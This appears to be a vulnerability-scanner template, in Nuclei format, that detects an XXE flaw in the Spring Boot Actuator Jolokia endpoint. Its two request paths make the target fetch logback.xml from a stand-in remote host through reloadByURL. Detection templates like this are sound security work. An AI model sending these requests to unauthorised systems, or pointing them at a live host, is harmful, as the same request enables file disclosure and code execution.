id: springboot-actuators-jolokia-xxe

info:
  name: Spring Boot Actuators (Jolokia) XXE
  author: dwisiswant0,ipanda
  severity: high
  description: A vulnerability in Spring Boot Actuators's 'jolokia' endpoint allows remote attackers to perform an XML External Entities (XXE) attack and include content stored on a remote server as if it was its own. This has the potential to allow the execution of arbitrary code and/or disclosure of sensitive information from the target machine.
  reference:
    - https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
    - https://github.com/mpgn/Spring-Boot-Actuator-Exploit
  classification:
    cwe-id: CWE-611
  metadata:
    max-request: 2
  tags: springboot,jolokia,xxe,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml"
      - "{{BaseURL}}/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/random:915!/logback.xml"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "http:\\/\\/nonexistent:31337\\/logback.xml"
          - "reloadByURL"
          - "JoranException"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008524eb32fe87f060e4c281e6573307a964603af3bfda8f532c97b0aad3fca0590220378bb8c91547e91fe5162428bd98bddea7b43e0bd3455402fa29f2c4bda405f5:922c64590222798bb761d5b6d8e72950